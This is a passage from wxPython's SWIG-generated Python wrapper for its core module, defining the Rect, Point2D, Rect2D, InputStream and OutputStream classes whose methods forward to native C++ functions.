\"\"\"GetBottomRight(self) -> Point\"\"\"\n return _core_.Rect_GetBottomRight(*args, **kwargs)\n\n def SetBottomRight(*args, **kwargs):\n \"\"\"SetBottomRight(self, Point p)\"\"\"\n return _core_.Rect_SetBottomRight(*args, **kwargs)\n\n def GetTopRight(*args, **kwargs):\n \"\"\"GetTopRight(self) -> Point\"\"\"\n return _core_.Rect_GetTopRight(*args, **kwargs)\n\n def SetTopRight(*args, **kwargs):\n \"\"\"SetTopRight(self, Point p)\"\"\"\n return _core_.Rect_SetTopRight(*args, **kwargs)\n\n def GetBottomLeft(*args, **kwargs):\n \"\"\"GetBottomLeft(self) -> Point\"\"\"\n return _core_.Rect_GetBottomLeft(*args, **kwargs)\n\n def SetBottomLeft(*args, **kwargs):\n \"\"\"SetBottomLeft(self, Point p)\"\"\"\n return _core_.Rect_SetBottomLeft(*args, **kwargs)\n\n def GetLeft(*args, **kwargs):\n \"\"\"GetLeft(self) -> int\"\"\"\n return _core_.Rect_GetLeft(*args, **kwargs)\n\n def GetTop(*args, **kwargs):\n \"\"\"GetTop(self) -> int\"\"\"\n return _core_.Rect_GetTop(*args, **kwargs)\n\n def GetBottom(*args, **kwargs):\n \"\"\"GetBottom(self) -> int\"\"\"\n return _core_.Rect_GetBottom(*args, **kwargs)\n\n def GetRight(*args, **kwargs):\n \"\"\"GetRight(self) -> int\"\"\"\n return _core_.Rect_GetRight(*args, **kwargs)\n\n def SetLeft(*args, **kwargs):\n \"\"\"SetLeft(self, int left)\"\"\"\n return _core_.Rect_SetLeft(*args, **kwargs)\n\n def SetRight(*args, **kwargs):\n \"\"\"SetRight(self, int right)\"\"\"\n return _core_.Rect_SetRight(*args, **kwargs)\n\n def SetTop(*args, **kwargs):\n \"\"\"SetTop(self, int top)\"\"\"\n return _core_.Rect_SetTop(*args, **kwargs)\n\n def SetBottom(*args, **kwargs):\n \"\"\"SetBottom(self, int bottom)\"\"\"\n return _core_.Rect_SetBottom(*args, **kwargs)\n\n position = property(GetPosition, SetPosition)\n size = property(GetSize, SetSize)\n left = property(GetLeft, SetLeft)\n right = property(GetRight, SetRight)\n top = property(GetTop, SetTop)\n bottom = property(GetBottom, SetBottom)\n\n def Inflate(*args, **kwargs):\n \"\"\"\n Inflate(self, int dx, int dy) -> Rect\n\n Increases the size of the rectangle.\n\n The left border is moved farther left and the right border is moved\n farther right by ``dx``. The upper border is moved farther up and the\n bottom border is moved farther down by ``dy``. (Note the the width and\n height of the rectangle thus change by ``2*dx`` and ``2*dy``,\n respectively.) If one or both of ``dx`` and ``dy`` are negative, the\n opposite happens: the rectangle size decreases in the respective\n direction.\n\n The change is made to the rectangle inplace, if instead you need a\n copy that is inflated, preserving the original then make the copy\n first::\n\n copy = wx.Rect(*original)\n copy.Inflate(10,15)\n\n\n \"\"\"\n return _core_.Rect_Inflate(*args, **kwargs)\n\n def Deflate(*args, **kwargs):\n \"\"\"\n Deflate(self, int dx, int dy) -> Rect\n\n Decrease the rectangle size. This method is the opposite of `Inflate`\n in that Deflate(a,b) is equivalent to Inflate(-a,-b). Please refer to\n `Inflate` for a full description.\n \"\"\"\n return _core_.Rect_Deflate(*args, **kwargs)\n\n def OffsetXY(*args, **kwargs):\n \"\"\"\n OffsetXY(self, int dx, int dy)\n\n Moves the rectangle by the specified offset. If dx is positive, the\n rectangle is moved to the right, if dy is positive, it is moved to the\n bottom, otherwise it is moved to the left or top respectively.\n \"\"\"\n return _core_.Rect_OffsetXY(*args, **kwargs)\n\n def Offset(*args, **kwargs):\n \"\"\"\n Offset(self, Point pt)\n\n Same as `OffsetXY` but uses dx,dy from Point\n \"\"\"\n return _core_.Rect_Offset(*args, **kwargs)\n\n def Intersect(*args, **kwargs):\n \"\"\"\n Intersect(self, Rect rect) -> Rect\n\n Returns the intersectsion of this rectangle and rect.\n \"\"\"\n return _core_.Rect_Intersect(*args, **kwargs)\n\n def Union(*args, **kwargs):\n \"\"\"\n Union(self, Rect rect) -> Rect\n\n Returns the union of this rectangle and rect.\n \"\"\"\n return _core_.Rect_Union(*args, **kwargs)\n\n def __add__(*args, **kwargs):\n \"\"\"\n __add__(self, Rect rect) -> Rect\n\n Add the properties of rect to this rectangle and return the result.\n \"\"\"\n return _core_.Rect___add__(*args, **kwargs)\n\n def __iadd__(*args, **kwargs):\n \"\"\"\n __iadd__(self, Rect rect) -> Rect\n\n Add the properties of rect to this rectangle, updating this rectangle.\n \"\"\"\n return _core_.Rect___iadd__(*args, **kwargs)\n\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Test for equality of wx.Rect objects.\n \"\"\"\n return _core_.Rect___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Test for inequality of wx.Rect objects.\n \"\"\"\n return _core_.Rect___ne__(*args, **kwargs)\n\n def ContainsXY(*args, **kwargs):\n \"\"\"\n ContainsXY(self, int x, int y) -> bool\n\n Return True if the point is inside the rect.\n \"\"\"\n return _core_.Rect_ContainsXY(*args, **kwargs)\n\n def Contains(*args, **kwargs):\n \"\"\"\n Contains(self, Point pt) -> bool\n\n Return True if the point is inside the rect.\n \"\"\"\n return _core_.Rect_Contains(*args, **kwargs)\n\n def ContainsRect(*args, **kwargs):\n \"\"\"\n ContainsRect(self, Rect rect) -> bool\n\n Returns ``True`` if the given rectangle is completely inside this\n rectangle or touches its boundary.\n \"\"\"\n return _core_.Rect_ContainsRect(*args, **kwargs)\n\n #Inside = wx._deprecated(Contains, \"Use `Contains` instead.\")\n #InsideXY = wx._deprecated(ContainsXY, \"Use `ContainsXY` instead.\")\n #InsideRect = wx._deprecated(ContainsRect, \"Use `ContainsRect` instead.\")\n Inside = Contains\n InsideXY = ContainsXY\n InsideRect = ContainsRect\n\n def Intersects(*args, **kwargs):\n \"\"\"\n Intersects(self, Rect rect) -> bool\n\n Returns True if the rectangles have a non empty intersection.\n \"\"\"\n return _core_.Rect_Intersects(*args, **kwargs)\n\n def CenterIn(*args, **kwargs):\n \"\"\"\n CenterIn(self, Rect r, int dir=BOTH) -> Rect\n\n Center this rectangle within the one passed to the method, which is\n usually, but not necessarily, the larger one.\n \"\"\"\n return _core_.Rect_CenterIn(*args, **kwargs)\n\n CentreIn = CenterIn \n x = property(_core_.Rect_x_get, _core_.Rect_x_set)\n y = property(_core_.Rect_y_get, _core_.Rect_y_set)\n width = property(_core_.Rect_width_get, _core_.Rect_width_set)\n height = property(_core_.Rect_height_get, _core_.Rect_height_set)\n def Set(*args, **kwargs):\n \"\"\"\n Set(self, int x=0, int y=0, int width=0, int height=0)\n\n Set all rectangle properties.\n \"\"\"\n return _core_.Rect_Set(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"\n Get() -> (x,y,width,height)\n\n Return the rectangle properties as a tuple.\n \"\"\"\n return _core_.Rect_Get(*args, **kwargs)\n\n asTuple = wx._deprecated(Get, \"asTuple is deprecated, use `Get` instead\")\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wx.Rect'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.x = val\n elif index == 1: self.y = val\n elif index == 2: self.width = val\n elif index == 3: self.height = val\n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0,0,0,0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (wx.Rect, self.Get())\n\n Bottom = property(GetBottom,SetBottom,doc=\"See `GetBottom` and `SetBottom`\") \n BottomRight = property(GetBottomRight,SetBottomRight,doc=\"See `GetBottomRight` and `SetBottomRight`\") \n BottomLeft = property(GetBottomLeft,SetBottomLeft,doc=\"See `GetBottomLeft` and `SetBottomLeft`\") \n Height = property(GetHeight,SetHeight,doc=\"See `GetHeight` and `SetHeight`\") \n Left = property(GetLeft,SetLeft,doc=\"See `GetLeft` and `SetLeft`\") \n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n Right = property(GetRight,SetRight,doc=\"See `GetRight` and `SetRight`\") \n Size = property(GetSize,SetSize,doc=\"See `GetSize` and `SetSize`\") \n Top = property(GetTop,SetTop,doc=\"See `GetTop` and `SetTop`\") \n TopLeft = property(GetTopLeft,SetTopLeft,doc=\"See `GetTopLeft` and `SetTopLeft`\") \n TopRight = property(GetTopRight,SetTopRight,doc=\"See `GetTopRight` and `SetTopRight`\") \n Width = property(GetWidth,SetWidth,doc=\"See `GetWidth` and `SetWidth`\") \n X = property(GetX,SetX,doc=\"See `GetX` and `SetX`\") \n Y = property(GetY,SetY,doc=\"See `GetY` and `SetY`\") \n Empty = property(IsEmpty,doc=\"See `IsEmpty`\") \n_core_.Rect_swigregister(Rect)\n\ndef RectPP(*args, **kwargs):\n \"\"\"\n RectPP(Point topLeft, Point bottomRight) -> Rect\n\n Create a new Rect object from Points representing two corners.\n \"\"\"\n val = _core_.new_RectPP(*args, **kwargs)\n return val\n\ndef RectPS(*args, **kwargs):\n \"\"\"\n RectPS(Point pos, Size size) -> Rect\n\n Create a new Rect from a position and size.\n \"\"\"\n val = _core_.new_RectPS(*args, **kwargs)\n return val\n\ndef RectS(*args, **kwargs):\n \"\"\"\n RectS(Size size) -> Rect\n\n Create a new Rect from a size only.\n \"\"\"\n val = _core_.new_RectS(*args, **kwargs)\n return val\n\n\ndef IntersectRect(*args, **kwargs):\n \"\"\"\n IntersectRect(Rect r1, Rect r2) -> Rect\n\n Calculate and return the intersection of r1 and r2.\n \"\"\"\n return _core_.IntersectRect(*args, **kwargs)\n#---------------------------------------------------------------------------\n\nclass Point2D(object):\n \"\"\"\n wx.Point2Ds represent a point or a vector in a 2d coordinate system\n with floating point values.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, double x=0.0, double y=0.0) -> Point2D\n\n Create a w.Point2D object.\n \"\"\"\n _core_.Point2D_swiginit(self,_core_.new_Point2D(*args, **kwargs))\n __swig_destroy__ = _core_.delete_Point2D\n __del__ = lambda self : None;\n def GetFloor(*args, **kwargs):\n \"\"\"\n GetFloor() -> (x,y)\n\n Convert to integer\n \"\"\"\n return _core_.Point2D_GetFloor(*args, **kwargs)\n\n def GetRounded(*args, **kwargs):\n \"\"\"\n GetRounded() -> (x,y)\n\n Convert to integer\n \"\"\"\n return _core_.Point2D_GetRounded(*args, **kwargs)\n\n def GetVectorLength(*args, **kwargs):\n \"\"\"GetVectorLength(self) -> double\"\"\"\n return _core_.Point2D_GetVectorLength(*args, **kwargs)\n\n def GetVectorAngle(*args, **kwargs):\n \"\"\"GetVectorAngle(self) -> double\"\"\"\n return _core_.Point2D_GetVectorAngle(*args, **kwargs)\n\n def SetVectorLength(*args, **kwargs):\n \"\"\"SetVectorLength(self, double length)\"\"\"\n return _core_.Point2D_SetVectorLength(*args, **kwargs)\n\n def SetVectorAngle(*args, **kwargs):\n \"\"\"SetVectorAngle(self, double degrees)\"\"\"\n return _core_.Point2D_SetVectorAngle(*args, **kwargs)\n\n def SetPolarCoordinates(self, angle, length):\n self.SetVectorLength(length)\n self.SetVectorAngle(angle)\n def Normalize(self):\n self.SetVectorLength(1.0)\n\n def GetDistance(*args, **kwargs):\n \"\"\"GetDistance(self, Point2D pt) -> double\"\"\"\n return _core_.Point2D_GetDistance(*args, **kwargs)\n\n def GetDistanceSquare(*args, **kwargs):\n \"\"\"GetDistanceSquare(self, Point2D pt) -> double\"\"\"\n return _core_.Point2D_GetDistanceSquare(*args, **kwargs)\n\n def GetDotProduct(*args, **kwargs):\n \"\"\"GetDotProduct(self, Point2D vec) -> double\"\"\"\n return _core_.Point2D_GetDotProduct(*args, **kwargs)\n\n def GetCrossProduct(*args, **kwargs):\n \"\"\"GetCrossProduct(self, Point2D vec) -> double\"\"\"\n return _core_.Point2D_GetCrossProduct(*args, **kwargs)\n\n def __neg__(*args, **kwargs):\n \"\"\"\n __neg__(self) -> Point2D\n\n the reflection of this point\n \"\"\"\n return _core_.Point2D___neg__(*args, **kwargs)\n\n def __iadd__(*args, **kwargs):\n \"\"\"__iadd__(self, Point2D pt) -> Point2D\"\"\"\n return _core_.Point2D___iadd__(*args, **kwargs)\n\n def __isub__(*args, **kwargs):\n \"\"\"__isub__(self, Point2D pt) -> Point2D\"\"\"\n return _core_.Point2D___isub__(*args, **kwargs)\n\n def __imul__(*args):\n \"\"\"__imul__(self, Point2D pt) -> Point2D\"\"\"\n return _core_.Point2D___imul__(*args)\n\n def __idiv__(*args):\n \"\"\"__idiv__(self, wxPoint2DDouble pt) -> Point2D\"\"\"\n return _core_.Point2D___idiv__(*args)\n\n def __add__(*args):\n \"\"\"__add__(self, Point2D pt) -> Point2D\"\"\"\n return _core_.Point2D___add__(*args)\n\n def __sub__(*args):\n \"\"\"__sub__(self, Point2D pt) -> Point2D\"\"\"\n return _core_.Point2D___sub__(*args)\n\n def __mul__(*args):\n \"\"\"\n __mul__(self, Point2D pt) -> Point2D\n __mul__(self, double n) -> Point2D\n \"\"\"\n return _core_.Point2D___mul__(*args)\n\n def __div__(*args):\n \"\"\"\n __div__(self, Point2D pt) -> Point2D\n __div__(self, double n) -> Point2D\n \"\"\"\n return _core_.Point2D___div__(*args)\n\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Test for equality of wx.Point2D objects.\n \"\"\"\n return _core_.Point2D___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Test for inequality of wx.Point2D objects.\n \"\"\"\n return _core_.Point2D___ne__(*args, **kwargs)\n\n x = property(_core_.Point2D_x_get, _core_.Point2D_x_set)\n y = property(_core_.Point2D_y_get, _core_.Point2D_y_set)\n def Set(*args, **kwargs):\n \"\"\"Set(self, double x=0, double y=0)\"\"\"\n return _core_.Point2D_Set(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"\n Get() -> (x,y)\n\n Return x and y properties as a tuple.\n \"\"\"\n return _core_.Point2D_Get(*args, **kwargs)\n\n asTuple = wx._deprecated(Get, \"asTuple is deprecated, use `Get` instead\")\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wx.Point2D'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.x = val\n elif index == 1: self.y = val\n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0.0, 0.0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (wx.Point2D, self.Get())\n\n Floor = property(GetFloor,doc=\"See `GetFloor`\") \n Rounded = property(GetRounded,doc=\"See `GetRounded`\") \n VectorAngle = property(GetVectorAngle,SetVectorAngle,doc=\"See `GetVectorAngle` and `SetVectorAngle`\") \n VectorLength = property(GetVectorLength,SetVectorLength,doc=\"See `GetVectorLength` and `SetVectorLength`\") \n_core_.Point2D_swigregister(Point2D)\n\ndef Point2DCopy(*args, **kwargs):\n \"\"\"\n Point2DCopy(Point2D pt) -> Point2D\n\n Create a w.Point2D object.\n \"\"\"\n val = _core_.new_Point2DCopy(*args, **kwargs)\n return val\n\ndef Point2DFromPoint(*args, **kwargs):\n \"\"\"\n Point2DFromPoint(Point pt) -> Point2D\n\n Create a w.Point2D object.\n \"\"\"\n val = _core_.new_Point2DFromPoint(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nInside = _core_.Inside\nOutLeft = _core_.OutLeft\nOutRight = _core_.OutRight\nOutTop = _core_.OutTop\nOutBottom = _core_.OutBottom\nclass Rect2D(object):\n \"\"\"\n wx.Rect2D is a rectangle, with position and size, in a 2D coordinate system\n with floating point component values.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Double x=0.0, Double y=0.0, Double w=0.0, Double h=0.0) -> Rect2D\n\n wx.Rect2D is a rectangle, with position and size, in a 2D coordinate system\n with floating point component values.\n \"\"\"\n _core_.Rect2D_swiginit(self,_core_.new_Rect2D(*args, **kwargs))\n __swig_destroy__ = _core_.delete_Rect2D\n __del__ = lambda self : None;\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> Point2D\"\"\"\n return _core_.Rect2D_GetPosition(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"GetSize(self) -> Size\"\"\"\n return _core_.Rect2D_GetSize(*args, **kwargs)\n\n def GetLeft(*args, **kwargs):\n \"\"\"GetLeft(self) -> Double\"\"\"\n return _core_.Rect2D_GetLeft(*args, **kwargs)\n\n def SetLeft(*args, **kwargs):\n \"\"\"SetLeft(self, Double n)\"\"\"\n return _core_.Rect2D_SetLeft(*args, **kwargs)\n\n def MoveLeftTo(*args, **kwargs):\n \"\"\"MoveLeftTo(self, Double n)\"\"\"\n return _core_.Rect2D_MoveLeftTo(*args, **kwargs)\n\n def GetTop(*args, **kwargs):\n \"\"\"GetTop(self) -> Double\"\"\"\n return _core_.Rect2D_GetTop(*args, **kwargs)\n\n def SetTop(*args, **kwargs):\n \"\"\"SetTop(self, Double n)\"\"\"\n return _core_.Rect2D_SetTop(*args, **kwargs)\n\n def MoveTopTo(*args, **kwargs):\n \"\"\"MoveTopTo(self, Double n)\"\"\"\n return _core_.Rect2D_MoveTopTo(*args, **kwargs)\n\n def GetBottom(*args, **kwargs):\n \"\"\"GetBottom(self) -> Double\"\"\"\n return _core_.Rect2D_GetBottom(*args, **kwargs)\n\n def SetBottom(*args, **kwargs):\n \"\"\"SetBottom(self, Double n)\"\"\"\n return _core_.Rect2D_SetBottom(*args, **kwargs)\n\n def MoveBottomTo(*args, **kwargs):\n \"\"\"MoveBottomTo(self, Double n)\"\"\"\n return _core_.Rect2D_MoveBottomTo(*args, **kwargs)\n\n def GetRight(*args, **kwargs):\n \"\"\"GetRight(self) -> Double\"\"\"\n return _core_.Rect2D_GetRight(*args, **kwargs)\n\n def SetRight(*args, **kwargs):\n \"\"\"SetRight(self, Double n)\"\"\"\n return _core_.Rect2D_SetRight(*args, **kwargs)\n\n def MoveRightTo(*args, **kwargs):\n \"\"\"MoveRightTo(self, Double n)\"\"\"\n return _core_.Rect2D_MoveRightTo(*args, **kwargs)\n\n def GetLeftTop(*args, **kwargs):\n \"\"\"GetLeftTop(self) -> Point2D\"\"\"\n return _core_.Rect2D_GetLeftTop(*args, **kwargs)\n\n def SetLeftTop(*args, **kwargs):\n \"\"\"SetLeftTop(self, Point2D pt)\"\"\"\n return _core_.Rect2D_SetLeftTop(*args, **kwargs)\n\n def MoveLeftTopTo(*args, **kwargs):\n \"\"\"MoveLeftTopTo(self, Point2D pt)\"\"\"\n return _core_.Rect2D_MoveLeftTopTo(*args, **kwargs)\n\n def GetLeftBottom(*args, **kwargs):\n \"\"\"GetLeftBottom(self) -> Point2D\"\"\"\n return _core_.Rect2D_GetLeftBottom(*args, **kwargs)\n\n def SetLeftBottom(*args, **kwargs):\n \"\"\"SetLeftBottom(self, Point2D pt)\"\"\"\n return _core_.Rect2D_SetLeftBottom(*args, **kwargs)\n\n def MoveLeftBottomTo(*args, **kwargs):\n \"\"\"MoveLeftBottomTo(self, Point2D pt)\"\"\"\n return _core_.Rect2D_MoveLeftBottomTo(*args, **kwargs)\n\n def GetRightTop(*args, **kwargs):\n \"\"\"GetRightTop(self) -> Point2D\"\"\"\n return _core_.Rect2D_GetRightTop(*args, **kwargs)\n\n def SetRightTop(*args, **kwargs):\n \"\"\"SetRightTop(self, Point2D pt)\"\"\"\n return _core_.Rect2D_SetRightTop(*args, **kwargs)\n\n def MoveRightTopTo(*args, **kwargs):\n \"\"\"MoveRightTopTo(self, Point2D pt)\"\"\"\n return _core_.Rect2D_MoveRightTopTo(*args, **kwargs)\n\n def GetRightBottom(*args, **kwargs):\n \"\"\"GetRightBottom(self) -> Point2D\"\"\"\n return _core_.Rect2D_GetRightBottom(*args, **kwargs)\n\n def SetRightBottom(*args, **kwargs):\n \"\"\"SetRightBottom(self, Point2D pt)\"\"\"\n return _core_.Rect2D_SetRightBottom(*args, **kwargs)\n\n def MoveRightBottomTo(*args, **kwargs):\n \"\"\"MoveRightBottomTo(self, Point2D pt)\"\"\"\n return _core_.Rect2D_MoveRightBottomTo(*args, **kwargs)\n\n def GetCentre(*args, **kwargs):\n \"\"\"GetCentre(self) -> Point2D\"\"\"\n return _core_.Rect2D_GetCentre(*args, **kwargs)\n\n def SetCentre(*args, **kwargs):\n \"\"\"SetCentre(self, Point2D pt)\"\"\"\n return _core_.Rect2D_SetCentre(*args, **kwargs)\n\n def MoveCentreTo(*args, **kwargs):\n \"\"\"MoveCentreTo(self, Point2D pt)\"\"\"\n return _core_.Rect2D_MoveCentreTo(*args, **kwargs)\n\n def GetOutcode(*args, **kwargs):\n \"\"\"GetOutcode(self, Point2D pt) -> int\"\"\"\n return _core_.Rect2D_GetOutcode(*args, **kwargs)\n\n def Contains(*args, **kwargs):\n \"\"\"Contains(self, Point2D pt) -> bool\"\"\"\n return _core_.Rect2D_Contains(*args, **kwargs)\n\n def ContainsRect(*args, **kwargs):\n \"\"\"ContainsRect(self, Rect2D rect) -> bool\"\"\"\n return _core_.Rect2D_ContainsRect(*args, **kwargs)\n\n def IsEmpty(*args, **kwargs):\n \"\"\"IsEmpty(self) -> bool\"\"\"\n return _core_.Rect2D_IsEmpty(*args, **kwargs)\n\n def HaveEqualSize(*args, **kwargs):\n \"\"\"HaveEqualSize(self, Rect2D rect) -> bool\"\"\"\n return _core_.Rect2D_HaveEqualSize(*args, **kwargs)\n\n def Inset(*args):\n \"\"\"\n Inset(self, Double x, Double y)\n Inset(self, Double left, Double top, Double right, Double bottom)\n \"\"\"\n return _core_.Rect2D_Inset(*args)\n\n def Offset(*args, **kwargs):\n \"\"\"Offset(self, Point2D pt)\"\"\"\n return _core_.Rect2D_Offset(*args, **kwargs)\n\n def ConstrainTo(*args, **kwargs):\n \"\"\"ConstrainTo(self, Rect2D rect)\"\"\"\n return _core_.Rect2D_ConstrainTo(*args, **kwargs)\n\n def Interpolate(*args, **kwargs):\n \"\"\"Interpolate(self, int widthfactor, int heightfactor) -> Point2D\"\"\"\n return _core_.Rect2D_Interpolate(*args, **kwargs)\n\n def Intersect(*args, **kwargs):\n \"\"\"Intersect(self, Rect2D otherRect)\"\"\"\n return _core_.Rect2D_Intersect(*args, **kwargs)\n\n def CreateIntersection(*args, **kwargs):\n \"\"\"CreateIntersection(self, Rect2D otherRect) -> Rect2D\"\"\"\n return _core_.Rect2D_CreateIntersection(*args, **kwargs)\n\n def Intersects(*args, **kwargs):\n \"\"\"Intersects(self, Rect2D rect) -> bool\"\"\"\n return _core_.Rect2D_Intersects(*args, **kwargs)\n\n def Union(*args, **kwargs):\n \"\"\"Union(self, Rect2D otherRect)\"\"\"\n return _core_.Rect2D_Union(*args, **kwargs)\n\n def CreateUnion(*args, **kwargs):\n \"\"\"CreateUnion(self, Rect2D otherRect) -> Rect2D\"\"\"\n return _core_.Rect2D_CreateUnion(*args, **kwargs)\n\n def Scale(*args):\n \"\"\"\n Scale(self, Double f)\n Scale(self, int num, int denum)\n \"\"\"\n return _core_.Rect2D_Scale(*args)\n\n def __eq__(*args, **kwargs):\n \"\"\"\n __eq__(self, PyObject other) -> bool\n\n Test for equality of wx.Rect2D objects.\n \"\"\"\n return _core_.Rect2D___eq__(*args, **kwargs)\n\n def __ne__(*args, **kwargs):\n \"\"\"\n __ne__(self, PyObject other) -> bool\n\n Test for inequality of wx.Rect2D objects.\n \"\"\"\n return _core_.Rect2D___ne__(*args, **kwargs)\n\n x = property(_core_.Rect2D_x_get, _core_.Rect2D_x_set)\n y = property(_core_.Rect2D_y_get, _core_.Rect2D_y_set)\n width = property(_core_.Rect2D_width_get, _core_.Rect2D_width_set)\n height = property(_core_.Rect2D_height_get, _core_.Rect2D_height_set)\n def Set(*args, **kwargs):\n \"\"\"Set(self, Double x=0, Double y=0, Double width=0, Double height=0)\"\"\"\n return _core_.Rect2D_Set(*args, **kwargs)\n\n def Get(*args, **kwargs):\n \"\"\"\n Get() -> (x,y, width, height)\n\n Return x, y, width and height y properties as a tuple.\n \"\"\"\n return _core_.Rect2D_Get(*args, **kwargs)\n\n def __str__(self): return str(self.Get())\n def __repr__(self): return 'wx.Rect2D'+str(self.Get())\n def __len__(self): return len(self.Get())\n def __getitem__(self, index): return self.Get()[index]\n def __setitem__(self, index, val):\n if index == 0: self.x = val\n elif index == 1: self.y = val\n elif index == 2: self.width = val\n elif index == 3: self.height = val \n else: raise IndexError\n def __nonzero__(self): return self.Get() != (0.0, 0.0, 0.0, 0.0)\n __safe_for_unpickling__ = True\n def __reduce__(self): return (wx.Rect2D, self.Get())\n\n_core_.Rect2D_swigregister(Rect2D)\n\n#---------------------------------------------------------------------------\n\nFromStart = _core_.FromStart\nFromCurrent = _core_.FromCurrent\nFromEnd = _core_.FromEnd\nclass InputStream(object):\n \"\"\"Proxy of C++ InputStream class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, PyObject p) -> InputStream\"\"\"\n _core_.InputStream_swiginit(self,_core_.new_InputStream(*args, **kwargs))\n __swig_destroy__ = _core_.delete_InputStream\n __del__ = lambda self : None;\n def close(*args, **kwargs):\n \"\"\"close(self)\"\"\"\n return _core_.InputStream_close(*args, **kwargs)\n\n def flush(*args, **kwargs):\n \"\"\"flush(self)\"\"\"\n return _core_.InputStream_flush(*args, **kwargs)\n\n def eof(*args, **kwargs):\n \"\"\"eof(self) -> bool\"\"\"\n return _core_.InputStream_eof(*args, **kwargs)\n\n def read(*args, **kwargs):\n \"\"\"read(self, int size=-1) -> PyObject\"\"\"\n return _core_.InputStream_read(*args, **kwargs)\n\n def readline(*args, **kwargs):\n \"\"\"readline(self, int size=-1) -> PyObject\"\"\"\n return _core_.InputStream_readline(*args, **kwargs)\n\n def readlines(*args, **kwargs):\n \"\"\"readlines(self, int sizehint=-1) -> PyObject\"\"\"\n return _core_.InputStream_readlines(*args, **kwargs)\n\n def seek(*args, **kwargs):\n \"\"\"seek(self, int offset, int whence=0)\"\"\"\n return _core_.InputStream_seek(*args, **kwargs)\n\n def tell(*args, **kwargs):\n \"\"\"tell(self) -> int\"\"\"\n return _core_.InputStream_tell(*args, **kwargs)\n\n def Peek(*args, **kwargs):\n \"\"\"Peek(self) -> char\"\"\"\n return _core_.InputStream_Peek(*args, **kwargs)\n\n def GetC(*args, **kwargs):\n \"\"\"GetC(self) -> char\"\"\"\n return _core_.InputStream_GetC(*args, **kwargs)\n\n def LastRead(*args, **kwargs):\n \"\"\"LastRead(self) -> size_t\"\"\"\n return _core_.InputStream_LastRead(*args, **kwargs)\n\n def CanRead(*args, **kwargs):\n \"\"\"CanRead(self) -> bool\"\"\"\n return _core_.InputStream_CanRead(*args, **kwargs)\n\n def Eof(*args, **kwargs):\n \"\"\"Eof(self) -> bool\"\"\"\n return _core_.InputStream_Eof(*args, **kwargs)\n\n def Ungetch(*args, **kwargs):\n \"\"\"Ungetch(self, char c) -> bool\"\"\"\n return _core_.InputStream_Ungetch(*args, **kwargs)\n\n def SeekI(*args, **kwargs):\n \"\"\"SeekI(self, long pos, int mode=FromStart) -> long\"\"\"\n return _core_.InputStream_SeekI(*args, **kwargs)\n\n def TellI(*args, **kwargs):\n \"\"\"TellI(self) -> long\"\"\"\n return _core_.InputStream_TellI(*args, **kwargs)\n\n_core_.InputStream_swigregister(InputStream)\nDefaultPosition = cvar.DefaultPosition\nDefaultSize = cvar.DefaultSize\n\nclass OutputStream(object):\n \"\"\"Proxy of C++ OutputStream class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, PyObject p) -> OutputStream\"\"\"\n _core_.OutputStream_swiginit(self,_core_.new_OutputStream(*args, **kwargs))\n __swig_destroy__ = _core_.delete_OutputStream\n __del__ = lambda self : None;\n def close(*args, **kwargs):\n \"\"\"close(self)\"\"\"\n return _core_.OutputStream_close(*args, **kwargs)\n\n def flush(*args, **kwargs):\n \"\"\"flush(self)\"\"\"\n return _core_.OutputStream_flush(*args, **kwargs)\n\n def eof(*args, **kwargs):\n \"\"\"eof(self) -> bool\"\"\"\n return _core_.OutputStream_eof(*args, **kwargs)\n\n def seek(*args, **kwargs):\n \"\"\"seek(self, int offset, int whence=0)\"\"\"\n return _core_.OutputStream_seek(*args, **kwargs)\n\n def tell(*args, **kwargs):\n \"\"\"tell(self) -> int\"\"\"\n return _core_.OutputStream_tell(*args, **kwargs)\n\n def write(*args, **kwargs):\n \"\"\"write(self, PyObject data)\"\"\"\n return _core_.OutputStream_write(*args, **kwargs)\n\n def PutC(*args, **kwargs):\n \"\"\"PutC(self, char c)\"\"\"\n return _core_.OutputStream_PutC(*args, **kwargs)\n\n def LastWrite(*args, **kwargs):\n \"\"\"LastWrite(self) -> size_t\"\"\"\n return _core_.OutputStream_LastWrite(*args, **kwargs)\n\n def SeekO(*args, **kwargs):\n \"\"\"SeekO(self, unsigned long pos, int mode=FromStart) -> unsigned long\"\"\"\n return _core_.OutputStream_SeekO(*args, **kwargs)\n\n def TellO(*args, **kwargs):\n \"\"\"TellO(self) -> unsigned long\"\"\"\n return _core_.OutputStream_TellO(*args, **kwargs)\n\n_core_.OutputStream_swigregister(OutputStream)\n\n#---------------------------------------------------------------------------\n\nclass 